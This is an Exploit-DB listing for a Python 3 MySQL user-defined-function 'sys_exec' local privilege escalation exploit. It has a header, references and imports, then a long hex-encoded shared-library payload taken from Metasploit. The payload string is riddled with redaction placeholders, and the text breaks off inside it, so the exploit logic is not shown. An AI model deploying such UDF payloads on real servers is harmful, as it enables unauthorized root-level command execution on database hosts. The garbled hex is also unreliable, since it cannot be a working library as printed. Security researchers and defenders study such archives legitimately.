Exploit-DB #50236
Description: MySQL User-Defined (Linux) x32 / x86_64 - 'sys_exec' Local Privilege Escalation (2)
Type: local
Platform: linux
Date: 2021-08-30
Author: ninpwn

Exploit:
# Exploit Title: MySQL User-Defined (Linux) x32 / x86_64 - 'sys_exec' Local Privilege Escalation (2) 
# Date: 29/08/2021
# Exploit Author: ninpwn
# Vendor Homepage: https://www.mysql.com
# Software Link: www.mysql.com
# Version: MySQL 4.x/5.x
# Tested on: Debian GNU/Linux 9 / mysql Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using EditLine wrapper
# CVE : N/A

'''
*** MySQL User-Defined (Linux) x32 / x86_64 sys_exec function Local Privilege Escalation Exploit - Python 3 Version ***


UDF lib shellcodes retrieved from metasploit
(there are windows .dll libraries within metasploit as well so this could be easily ported to Windows)

Based on the Python 2 exploit by D7X (EDB ID: 46249) and the famous raptor_udf.c by Marco Ivaldi (EDB ID: 1518)
CVE: N/A
References:
https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html
https://www.exploit-db.com/exploits/1518
https://www.exploit-db.com/exploits/46249
https://www.exploit-db.com/papers/44139/ - MySQL UDF Exploitation by Osanda Malith Jayathissa (@OsandaMalith)

Tested on Linux 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux

@ninpwn
https://twitter.com/ninpwn
'''
#!/usr/bin/python3

import sys
import subprocess
import platform, random
import argparse
import os
import re
import pty

shellcode_x32 = "7f454c[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000000f80e0000f80e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000d0000000d[PII_REDACTED][PII_REDACTED]00051e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]a[PII_REDACTED][PII_REDACTED][PII_REDACTED]1d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000a[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000c[PII_REDACTED][PII_REDACTED][PII_REDACTED]0d[PII_REDACTED]00000e0000001c[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000001a[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000001f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000b[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000001e0000001b[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]09019c7c9bda[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000001a0000001c0000001f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe[PII_REDACTED][PII_REDACTED][PII_REDACTED]000e[PII_REDACTED]000008d[PII_REDACTED]0000c[PII_REDACTED]000005c[PII_REDACTED]0000ba[PII_REDACTED]0000e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]020000000ed[PII_REDACTED]00007e[PII_REDACTED]0000ab[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000007d[PII_REDACTED]0000c[PII_REDACTED]00000c[PII_REDACTED]00000f[PII_REDACTED][PII_REDACTED][PII_REDACTED]09e[PII_REDACTED]0000fb[PII_REDACTED]0000cf[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0e[PII_REDACTED][PII_REDACTED][PII_REDACTED]0b[PII_REDACTED]00000a[PII_REDACTED][PII_REDACTED][PII_REDACTED]00b[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000fb[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0d[PII_REDACTED]0012000b[PII_REDACTED]3b0a[PII_REDACTED]0012000b[PII_REDACTED]f80d[PII_REDACTED]0012000c003f010000a10c[PII_REDACTED]0012000b001f[PII_REDACTED][PII_REDACTED][PII_REDACTED]c[PII_REDACTED][PII_REDACTED]001000f1ff[PII_REDACTED]0a[PII_REDACTED]0012000b[PII_REDACTED]ee0c[PII_REDACTED]0012000b00cf[PII_REDACTED][PII_REDACTED]001000f1ff[PII_REDACTED]0a[PII_REDACTED]0012000b[PII_REDACTED]9c0b[PII_REDACTED]0012000b00a30100007d0d00003e[PII_REDACTED]0b[PII_REDACTED]2c0a[PII_REDACTED]0012000b[PII_REDACTED]6b0c[PII_REDACTED]0012000b00bc[PII_REDACTED][PII_REDACTED]001000f1ff[PII_REDACTED]0a[PII_REDACTED]0012000b[PII_REDACTED]fc0b00006f[PII_REDACTED]0b[PII_REDACTED]400a[PII_REDACTED]0012000b[PII_REDACTED]cc0b[PII_REDACTED]0012000b[PII_REDACTED]c60c[PII_REDACTED]0012000b00a90000004c0a[PII_REDACTED]0012000b008f010000650d[PII_REDACTED]0012000b00d7000000d40a0000c[PII_REDACTED]00b00005f5f676d6f6e5f[PII_REDACTED]5f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f[PII_REDACTED]746572436c[PII_REDACTED]006c69625f6d7973716c7564665f7379735f696e666f5f6465696e[PII_REDACTED]735f6765745f6465696e[PII_REDACTED]735f657865635f6465696e[PII_REDACTED]735f6576616c5f6465696e[PII_REDACTED]735f62696e6576616c5f696e[PII_REDACTED]735f62696e6576616c5f6465696e[PII_REDACTED]735f62696e6576616c00666f726b[PII_REDACTED]6f6e66006d6d[PII_REDACTED]726e[PII_REDACTED][PII_REDACTED][PII_REDACTED]5f6576616c006d616c6c6f6300706f70656e007265616c6c6f[PII_REDACTED][PII_REDACTED]6c6f[PII_REDACTED]735f6576616c5f696e[PII_REDACTED][PII_REDACTED]7379735f657865635f696e[PII_REDACTED]735f7365745f696e[PII_REDACTED]735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e[PII_REDACTED]735f[PII_REDACTED][PII_REDACTED]6d007379735f[PII_REDACTED]6574656e[PII_REDACTED]5f7365745f6465696e[PII_REDACTED][PII_REDACTED]735f[PII_REDACTED]6574656e76006c6962632e736f2e36005f[PII_REDACTED]005f5f6273735f[PII_REDACTED]005f656e6400474c4942435f322e312e3300474c4942435f322e3000474c4942435f322e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]b[PII_REDACTED][PII_REDACTED]000731f[PII_REDACTED]00d[PII_REDACTED][PII_REDACTED]90d00000300e[PII_REDACTED][PII_REDACTED]90d00000200ea[PII_REDACTED]0000040b[PII_REDACTED]00b70b[PII_REDACTED]00e70b[PII_REDACTED]00110c[PII_REDACTED]00220c[PII_REDACTED]00550c[PII_REDACTED]008e0c[PII_REDACTED]00ac0c[PII_REDACTED]00d90c[PII_REDACTED][PII_REDACTED]080000006b0a0000020f00007c0a[PII_REDACTED]00960a[PII_REDACTED]00ad0a[PII_REDACTED]00430b[PII_REDACTED]00bc0a0000020c0000e40a0000020e0000f30a0000020e00003f0c0000020e00000e0b[PII_REDACTED]00310b[PII_REDACTED]00560b0000020a0000680b[PII_REDACTED]00bf0b0000020d0000ef0b0000020d00005b0c0000020d0000960c0000020d0000b20c0000020d0000e10c0000020d0000fd0c[PII_REDACTED]00580d[PII_REDACTED]00770d0000020b00008e0d[PII_REDACTED]00e[PII_REDACTED]40000e[PII_REDACTED]50000ec[PII_REDACTED]000fc[PII_REDACTED][PII_REDACTED][PII_REDACTED]589e55383ec04e[PII_REDACTED]b8